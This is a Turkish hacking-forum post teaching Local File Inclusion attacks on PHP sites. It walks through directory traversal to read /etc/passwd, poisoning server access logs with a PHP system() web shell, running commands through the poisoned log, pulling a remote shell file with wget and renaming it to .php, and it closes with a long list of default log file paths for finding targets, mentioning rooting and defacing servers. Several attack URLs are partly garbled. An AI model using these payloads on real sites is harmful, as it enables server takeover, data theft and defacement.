THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

chat
Seçenekler

LFİ hacking

WhooLe - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2012
Nereden:
Hunger Games
Mesajlar:
1.699
Konular:
152
Teşekkür (Etti):
795
Teşekkür (Aldı):
420
Ticaret:
(0) %
13-06-2013 11:46
#1
LFİ hacking
LFI dediğimiz ( local file include) güvenlik açığının türkçesi yerel dosya dahil etmek anlamına gelir... Yani bir sunucu düşünün ve o sunucuda bulunan dosyaları sorgulayarak yaptığımız attack şeklidir.

Ve şöyle devam etmek istiyorum. Biliyorsunuz ki Türkiye'de pek açıklamasını bulamadığınız bir konudur ve tüm sitelerde şöyle olarak geçer "pek etkili olmasada..." , aslında buna ben katılmıyorum. LFI atak yöntemi rfi den daha tehlikelidir. neden derseniz 3 şekle dönüşebiliyor. LFI - RCE - RFI olarak kullanabiliyorsunuz...

Evet, bu bilgiyi de verdikten sonra isterseniz lfi nin yapısını inceleyelim...

1. LFI nasıl oluşur ?

öncelikle bir php sayfası üzerinden olayın mantığını anlatmaya çalışayım.

PHP- Kodu:
#Dosya adı : test.php
<?php
include($_GET['sayfa'].".php");
?>
gibi bir kod yazdık. Normalde webmasterlar bunu kolaylık olsun diye kullanırlar. Hem daha az kod yazar , hemde daha az zaman kaybetmiş olur... Sayfa normalde şu şekilde çalışır. include ile bir dosya dahil edilir ve o dosya da sayfada gelen GET değişkeninden alır sayfa adını...

örneğin browserimize :

http://localhost/test.php?sayfa=haber

dediğimizde $_GET['sayfa'] değeri haber olacaktır. ve yukarıdaki koda dikkat ederseniz .php ile getirmiş devamına yani gelen değişkenin içerisindeki veriyi alırsak kısmen şu şekilde oluyor

PHP- Kodu:
<?php
#Dosya adı : test.php

include("haber.php");
?>
Olayı anladıysanız eğer browserimizden gelen isteği sayfamıza eklemeye çalışıyor. tabi bu illa include olacak değil. değişik yollar da olabilir. Örnek vermek gerekirse ;

include();
include_once();
require();
require_once();
file();
file_get_contents();

gibi fonksiyonlarla beraber de çağırılabilir.

Evet. bu örneklere dayanarak şunları söyleyebiliriz o halde; Local file inclusion metodu aslında browserden değişken alarak ve alınan dosyayı sayfaya dahil eden sayfalarda meydana gelir. ve browserimizde istediğimiz sayfamızı ( haber.php 'yi ) açtık. Sayfa da hiç bir sorunumuz yok. Ama sizce sayfa bu kadar masum mu ?

Şimdi örneklerle nasıl hata verdirip nasıl kullanacağımız konusuna baqalım...

Hata verdirme :

Evet en son hatırlarsanız browserimizde http://localhost/test.php?sayfa=haber yazmıştık ve haber.php sayfamızı çağırmıştık. Şimdi browserde biraz oynama yaparak hata verdirmeye çalışalım...

Örnek 1 :

http://localhost/test.php?sayfa=/etc/passwd

yazdığımız zaman karşımıza hata vermiş bir sayfa çıkacaktır...

Warning: main(/etc/passwd): failed to open stream: No such file or directory in /usr/www/www.coderx.org/www/test.php on line 5

Warning: main(): Failed opening '/etc/passwd' for inclusion (include_path='.:') in /usr/www/www.coderx.org/www/test.php on line 6

Evet hata verdirmeyi başardık ( Ne mutlu bize ) Şimdi yukarıdaki hatayı açıklayalım. PHP bize ne gibi bilgiler vermeye çalışmış ve bu bilgileri ne yapabiliriz ne işimize yarar ?

Yukarıda ilk dikkat edeceğimiz failed to open stream No such file or directory oluyor... Bu bize öyle bir sayfanın o dizinde bulunmadığını gösterir. Hemen biraz daha ileriyi okuyoruz web sitenin sunucudaki adresini bize veriyor. Bunu bir yere not edelim... Ve bakıyoruz ki bizim istediğimiz /etc/passwd sayfası bu dizinde değil. Nerdeki ajaba ? Linux sunucular da ana dizin ( root directory ) dediğimiz dizinde bulunurlar. Peki buraya nasıl erişebilirim ? Az önce not edin dediğim dosya yolunu kullanarak ulaşabiliriz. Ama bundan önce kaç dizin olduğunu saymamız lazım.
Dizinleri parçalayarak yazalım ki kaç dizin yazacağımızı hesaplayalım ( / ) işaretinden itibaren parçalayın

Server dizini : /usr/www/www.coderx.org/www/test.php

/usr ( 1 .ci dizin )
/www ( 2 .ci dizin )
/www.coderx.org ( 3. cü dizin )
/www ( 4. cü dizin )
/test.php ( şu an bulunduğumuz dizin )

istediğimiz sayfa = /etc/passwd

Evet dizinlerimizi parçaladık ve bakıyoruz ki 4 dizin var. Hemen istediğimiz sayfa ile dizin sayımızı birleştiriyoruz.

../../../../etc/passwd

buradaki her bir ../ işareti bir üst dizin anlamına geliyor. 4 tane üst dizinin üstündeki /etc/passwd dosyasını istemiş olduk. Ve browserimizdeki adresi şöyle değiştirerek

http://localhost/test.php?sayfa=../../../../etc/passwd

Gelen veriye baktığımızda

# $FreeBSD$ #
root:*:0:0:RMx &:/root:/usr/local/bin/bash

.. ve devamı

Evet bu şekilde passwd dosyasını okuyabildik... İşte şu ana kadar yaptıklarımızı klasik türk sitelerinde bulunanlar kadardı biz işi daha ileriye ***ürüyoruz. LFI üzerinden RCE ( Remote Command Execution = Uzaktan komut çalıştırma ) metodunu yaparak işlem yapabilir doyumsuz olan arkadaşlarımızın işini görmüyorsa RFI ( Remote file include = Uzakdan bir dosya dahil etme ) metodunu da ekleyebilir.

Şimdi işin bu kısmına kadar anladıysak işimiz bundan sonra biraz daha zorlaşacaktır. File inclusion metotları genelde bir linux sever için basittir. Ama linux ve linux komutlarına aşina değilseniz emin olun bir tarafınızdan terler akacaktır

Şimdi /etc/passwd dizinini buldum ? ne işime yarayacak ? Aslında bu konuya girmek istemiyorum bile her türlü kullanabilirsn. Onu da araştır biraz makaleyi elimden geldiği kadar kısa ve öz tutmak istiyorum.Normalde büyük ve bayağı teferruatlı bir konudur.

Şimdi de biraz konumuzun dışında olan bir şeyden bahsetmek istiyorum. Bilirsiniz web sitelerin çalışma mantığını. Siz web adresini yazarak girersiniz web sitede içinde olan sayfa veya veritabanı bilgilerini size sunar. Peki eğer istediğim şey o sayfada veya saayfalarda veya sunucu da yoksa ? işte o zaman sunucu tarafından ( apache veya internet information services ( IIS ) )tarafından hatalar bir hata sayfasına yazdırılırlar. Eğer ki root admin ( sunucu yöneticisi ) sunucunun kurulumuyla beraber gelen dosya yollarını değiştirmediyse istediğiniz sayfa veya veri hata olarak yazdırılırlar. Peki RMx bu benim ne işime yarayacak ?

Aslında bir çok şeye , Local file include metodnun can alıcı noktası da burada zaten... Eğer ben o web siteye girip de sayfaya örnek olarak şöyle bir istek attığımda da verileri yazdırmaz mı ?

http://localhost/<?php phpinfo(); ?>

BİLGİ :
<?php phpinfo(); ?> ne demektir ?

php nin information fonksiyonudur. Bize server ve serverdaki php ve birkaç kütüphane hakkında bilgi verir...Dissabled & enabled functions 'lara bakarak ne kullanacağımızı göre biliriz...

Elbetteki yazdırır...

Ama bunu yazdığına göre ben burya istediğim şeyi yazdırarak komut çalıştırabilirim ( farkındaysanız yavaş yavaş RCE metoduna giriyoruz .) O halde istediğim sayfayı değiştiriyorum ve şöyle yapıyorum...

http://localhost/<?php system("ls -la"); ?>

yada şöyle bir veri göndereyim ls -la ve diğer shell komutlarımı kullanmak için GET ile bir istek yapayım.

http://localhost/<?php system($_GET['mgg']); ?>

BİLGİ :

<?php system("ls -la"); ?> nedir ?

php de bulunan system fonksiyonu windows ise ms dos linux ise shell üzerinden komut çalıştırmamıza yarar. $_GET['mgg']; ise mgg den gelen bilgi anlamına gelir..Cümlemizi toparlarsak mggden gelen bilgiyi sistem üzerinde çalıştır demek olur...

Bunu yaptığımızda ne olacak ? hemen bir hata sayfası

404 This page not found

adında bir hata sayfası getirecektir. Böylelikle ne yapmış olduk ? Sunucu tarafından kaydedilen hata raporlarına php kodu enjekte etmiş olduk... Peki kodu enjekte ettik nasıl kullanacağım ben bunu ?


Aslında kullanması da basit. Sadece server tipine göre hangi dosyaya enjecte etmişseniz o dosya üzerinden kullanabilirsinz. Yine bir varsayım yapalım...

Örnek olarak atak yaptığım web sitenin kayıt yolu bu olsun

/apache/logs/access.log

bunu kendi sistemimize uyarlıyoruz...

ve şöyle oluyor...

http://localhost/test.php?sayfa=../....logs/acces.log

browsermizden bu adrese girdiğimiz zaman web siteye yapılan istekler örüntülenecektir dolaysıyla bizim kodumuz da orda olacaktır. Şimdi dosyamızı ve nerde olduğunu da bildiğimize göre dosyamızı çalıştırabiliriz

http://localhost/test.php?sayfa=../....ces.log&mgg=ls -la
peki şimdi ne yaptık ? mgg ile linuxun dosya ve dizin listeleme metodu olan ls -la ile o an klasördeki dosyaları görmek istedik ve sonucu bize aynen döndürecektir...

Bu şekilde istediğiniz şeyi çalıştırabilirsiniz. Ama yukarda da bahsettiğim gibi doyumsuz arkadaşlarımızın da olduğunu söyledim. E tabi onlar serverda sadece işlem yapmak istemez serverı kendi kontrolüne de almak ister... Her zaman yapacak birşeyler vardır öyle değil mi

Şimdi LFI atağını RCE ye çevirdiğimize göre RCE atağını da RFI ye çevirelim. Linuxun wget fonksiyonunu kullanarak web siteye dosyamızı çekelim...

http://localhost/test.php?sayfa=../....s.log&mgg=wget 404 - Not Found

bu şekilde dosyanızı çekebilirsiniz... tabi bazen sorun oluyor işte aksilik Şöyle bir senaryo daha üretelim ve işimizi zorlaştıralım ( gerçi kolay ama ) wget ile php dosyalarını çekemeyebiliriz ( başıma çok geldiğinden söylüyorum bunu da ) o zaman kendi dosya çekeceğimiz siteye .txt uzantısında dosyamızı atıyoruz. Ve şöyle birşey yazıyoruz...


http://localhost/test.php?sayfa=../....s.log&mgg=wget 404 - Not Found

bu şekilde genelde çeker... Ne yapmış olduk txt dosyasını servera yüklemiş olduk. E tabi txt halinde çalışmaz bunun uzantısını değiştirelim... Onu da şöyle yapabiliriz...


http://localhost/test.php?sayfa=../....ces.log&mgg=mv shell_adi.txt shell_adi.php

bu şekilde dosyanın adını değiştirmeden uzantısını değiştirdik. isterseniz adını da değiştirebilirsiniz size kalmış bir olaydır. Bundan sonrasını zaten biliyorsunuz videolu anlatımlarda var serverı rootlayarak tüm sunucuyu deface edebilirsnz vs vs...

Döküman ise RMX e aittir

Konuyu bitirmeden önce elimde olan Default dosya yollarını da size veriyim. Hiç olmazsa log dosyalarını ararken yorulmazsınız...


Sunucu tipine göre verilmiştir...:


IRIX:

/var/adm/SYSLOG
/var/adm/sulog
/var/adm/utmp
/var/adm/utmpx
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/lastlog/username
/usr/spool/lp/log
/var/adm/lp/lpd-errs
/usr/lib/cron/log
/var/adm/loginlog
/var/adm/pacct
/var/adm/dtmp
/var/adm/acct/sum/loginlog
/var/adm/X0msgs
/var/adm/crash/vmcore
/var/adm/crash/unix


AIX:

/var/adm/pacct
/var/adm/wtmp
/var/adm/dtmp
/var/adm/qacct
/var/adm/sulog
/var/adm/ras/errlog
/var/adm/ras/bootlog
/var/adm/cron/log
/etc/utmp
/etc/security/lastlog
/etc/security/failedlogin
/usr/spool/mqueue/syslog


SunOS:

/var/adm/messages
/var/adm/aculogs
/var/adm/aculog
/var/adm/sulog
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/utmp
/var/adm/utmpx
/var/adm/log/asppp.log
/var/log/syslog
/var/log/POPlog
/var/log/authlog
/var/adm/pacct
/var/lp/logs/lpsched
/var/lp/logs/lpNet
/var/lp/logs/requests
/var/cron/log
/var/saf/_log
/var/saf/port/log

Linux:

/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/wtmp
/etc/utmp
/opt/lampp/logs/error_log
/opt/lampp/logs/access_log
/var/log/lastlog
/var/log/telnetd
/var/run/utmp
/var/log/secure
/var/log/wtmp
/var/run/utmp
/var/log
/var/adm
/var/apache/log
/var/apache/logs
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/acct
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/error.log
/var/log/apache-ssl/access.log
/var/log/auth.log
/var/log/xferlog
/var/log/message
/var/log/messages
/var/log/proftpd/xferlog.legacy
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/httpsd/ssl.access_log
/etc/mail/access
/var/log/qmail
/var/log/smtpd
/var/log/samba
/var/log/samba-log.%m
/var/lock/samba
/root/.Xauthority
/var/log/poplog
/var/log/news.all
/var/log/spooler
/var/log/news
/var/log/news/news
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/thttpd_log
/var/log/ncftpd/misclog.txt
/var/log/ncftpd.errs
/var/log/auth
/var/log/kern.log
/var/log/cron.log
/var/log/maillog
/var/log/qmail/
/var/log/httpd/
/var/log/lighttpd
/var/log/boot.log
/var/log/mysqld.log
/var/log/secure
/var/log/utmp
/var/log/wtmp
/var/log/yum.log
/var/spool/tmp
/var/spool/errors
/var/spool/logs
/var/spool/locks
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/logs/access_log
/root/.ksh_history
/root/.bash_history
/root/.bash_logut
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error.log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log

Windows

c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\Apache Group\Apache\logs\access.log
c:\apache\logs\error.log
c:\apache\logs\access.log
---------------------
Allah'a Emanet kardeşlerim ,abilerim.

Duydumki LeBlanc nerf atmışsın rito ama unutmaki babanın s4de 2000 LeBlanc oyunu var.

The Master of LeBlanc.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler